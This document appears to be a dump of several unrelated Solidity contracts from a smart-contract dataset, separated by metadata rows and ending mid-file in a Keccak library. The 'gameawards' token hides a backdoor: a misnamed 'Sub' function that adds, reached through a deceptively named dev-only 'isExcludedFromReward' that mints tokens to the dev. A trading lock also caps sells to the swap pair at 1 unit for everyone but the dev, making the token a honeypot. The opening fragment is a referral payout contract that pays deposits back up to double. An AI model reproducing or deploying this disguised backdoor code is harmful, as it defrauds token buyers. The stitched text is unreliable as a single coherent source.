uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralWithdraw(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawRef;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserCheckpoint(userAddress) == 0){
return (block.timestamp.sub(users[userAddress].checkpoint)).mod(24);
}else {
return 0;
}
}
}
| 288,289 | 13,988 |
4fc13c8a7f722e38f38b8a9c3a5ec0550532574cafe3c0a2cfb463e8158908a8
| 21,125 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TR13an66o72cF7K32XC2qzWYKhom7ho5Mh_gameawards.sol
| 3,115 | 11,780 |
//SourceUnit: gameawards.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract gameawards is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 30 * 10**4 * 10**4;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 4;
uint256 private _maxTotal;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 30 * 10**4 * 10**4;
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcludedFromReward(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == 0x0000000000000000000000000000000000000000) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 287,919 | 13,989 |
fc374353e6ca44ea95b827191ef9765ec5a7337e7d9aabe1a9a1b79dbbe72ea0
| 17,604 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x9c0c8fcf7b4309113c147dd3d145e4902e7810c9.sol
| 5,695 | 17,011 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => uint256) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender) {
Unlocktoken(s.tokenAddress, s.id);
}
}
}
function CashbackCode(address _cashbackcode, uint256 uniquecode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
if (Bigdata[msg.sender][18] == 0) {
Bigdata[msg.sender][18] = uniquecode; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1);
uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount);
require(holdamount <= Bigdata[tokenAddress][5]);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000) {
cashbackcode[msg.sender] = EthereumNodes;
Bigdata[msg.sender][18] = 123456;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) public {
address ref = cashbackcode[msg.sender];
uint256 AvailableBalances = div(mul(amount, 72), 100);
uint256 AvailableCashback = div(mul(amount, 16), 100);
uint256 affcomission = div(mul(amount, 12), 100);
uint256 nodecomission = div(mul(amount, 28), 100);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0) {
AvailableCashback = 0;
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission);
Bigdata[msg.sender][19] = 111;
} else {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
Bigdata[msg.sender][19] = 222;
}
HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref);
}
function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) public {
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = Bigdata[ERC][1];
uint256 TokenHodlTime = Bigdata[ERC][2];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
Bigdata[ERC][6] = add(Bigdata[ERC][6], AM);
Bigdata[ERC][3] = add(Bigdata[ERC][3], AM);
if(Bigdata[msg.sender][8] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
Bigdata[msg.sender][19] = 333;
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount1);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 sid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(s.tokenAddress, realAmount, 4);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private {
if (Holdplatform_status[tokenAddress] == 1) {
require(Holdplatform_balance > 0);
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(div(amount, divider), extradivider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(msg.sender, airdrop, now);
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(tokenAddress, amount, 4);
}
function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
Bigdata[tokenAddress][1] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
Bigdata[tokenAddress][14] = CurrentUSDprice;
Bigdata[tokenAddress][17] = CurrentETHprice;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted {
if (Currentprice > 0) { Bigdata[tokenAddress][14] = Currentprice; }
if (ATHprice > 0) { Bigdata[tokenAddress][15] = ATHprice; }
if (ATLprice > 0) { Bigdata[tokenAddress][16] = ATLprice; }
if (ETHprice > 0) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted {
require(HPM_status == 0 || HPM_status == 1);
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress] = HPM_divider;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0);
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
emit onHOLDdeposit(msg.sender, amount, newbalance, now);
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0 && amount <= Holdplatform_balance);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
emit onHOLDwithdraw(msg.sender, amount, newbalance, now);
}
function ReturnAllTokens() restricted public
{
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if(s.amountbalance > 0) {
uint256 amount = add(s.amountbalance, s.cashbackbalance);
PayToken(s.user, s.tokenAddress, amount);
s.amountbalance = 0;
s.cashbackbalance = 0;
Statistics[s.user][s.tokenAddress][5] = 0;
}
}
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 161,242 | 13,990 |
a93d27ab2b91f0bdf7f5b3becc1fbb78484eabaf503e056fb2a583a8cabccf6c
| 11,503 |
.sol
|
Solidity
| false |
413611713
|
kcharbo3/arbitrum-custom-sequencer
|
f0d1e2445699dd2f598aadd676da4973c4987df3
|
contracts/libraries/Precompiles.sol
| 4,562 | 9,951 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.11;
library Precompiles {
function keccakF(uint256[25] memory a) internal pure returns (uint256[25] memory) {
uint256[5] memory c;
uint256[5] memory d;
//uint D_0; uint D_1; uint D_2; uint D_3; uint D_4;
uint256[25] memory b;
uint256[24] memory rc = [
uint256(0x0000000000000001),
0x0000000000008082,
0x800000000000808A,
0x8000000080008000,
0x000000000000808B,
0x0000000080000001,
0x8000000080008081,
0x8000000000008009,
0x000000000000008A,
0x0000000000000088,
0x0000000080008009,
0x000000008000000A,
0x000000008000808B,
0x800000000000008B,
0x8000000000008089,
0x8000000000008003,
0x8000000000008002,
0x8000000000000080,
0x000000000000800A,
0x800000008000000A,
0x8000000080008081,
0x8000000000008080,
0x0000000080000001,
0x8000000080008008
];
for (uint256 i = 0; i < 24; i++) {
c[0] = a[0] ^ a[1] ^ a[2] ^ a[3] ^ a[4];
c[1] = a[5] ^ a[6] ^ a[7] ^ a[8] ^ a[9];
c[2] = a[10] ^ a[11] ^ a[12] ^ a[13] ^ a[14];
c[3] = a[15] ^ a[16] ^ a[17] ^ a[18] ^ a[19];
c[4] = a[20] ^ a[21] ^ a[22] ^ a[23] ^ a[24];
d[0] = c[4] ^ (((c[1] * 2) & 0xffffffffffffffff) | (c[1] / (2**63)));
d[1] = c[0] ^ (((c[2] * 2) & 0xffffffffffffffff) | (c[2] / (2**63)));
d[2] = c[1] ^ (((c[3] * 2) & 0xffffffffffffffff) | (c[3] / (2**63)));
d[3] = c[2] ^ (((c[4] * 2) & 0xffffffffffffffff) | (c[4] / (2**63)));
d[4] = c[3] ^ (((c[0] * 2) & 0xffffffffffffffff) | (c[0] / (2**63)));
a[0] = a[0] ^ d[0];
a[1] = a[1] ^ d[0];
a[2] = a[2] ^ d[0];
a[3] = a[3] ^ d[0];
a[4] = a[4] ^ d[0];
a[5] = a[5] ^ d[1];
a[6] = a[6] ^ d[1];
a[7] = a[7] ^ d[1];
a[8] = a[8] ^ d[1];
a[9] = a[9] ^ d[1];
a[10] = a[10] ^ d[2];
a[11] = a[11] ^ d[2];
a[12] = a[12] ^ d[2];
a[13] = a[13] ^ d[2];
a[14] = a[14] ^ d[2];
a[15] = a[15] ^ d[3];
a[16] = a[16] ^ d[3];
a[17] = a[17] ^ d[3];
a[18] = a[18] ^ d[3];
a[19] = a[19] ^ d[3];
a[20] = a[20] ^ d[4];
a[21] = a[21] ^ d[4];
a[22] = a[22] ^ d[4];
a[23] = a[23] ^ d[4];
a[24] = a[24] ^ d[4];
b[0] = a[0];
b[8] = (((a[1] * (2**36)) & 0xffffffffffffffff) | (a[1] / (2**28)));
b[11] = (((a[2] * (2**3)) & 0xffffffffffffffff) | (a[2] / (2**61)));
b[19] = (((a[3] * (2**41)) & 0xffffffffffffffff) | (a[3] / (2**23)));
b[22] = (((a[4] * (2**18)) & 0xffffffffffffffff) | (a[4] / (2**46)));
b[2] = (((a[5] * (2**1)) & 0xffffffffffffffff) | (a[5] / (2**63)));
b[5] = (((a[6] * (2**44)) & 0xffffffffffffffff) | (a[6] / (2**20)));
b[13] = (((a[7] * (2**10)) & 0xffffffffffffffff) | (a[7] / (2**54)));
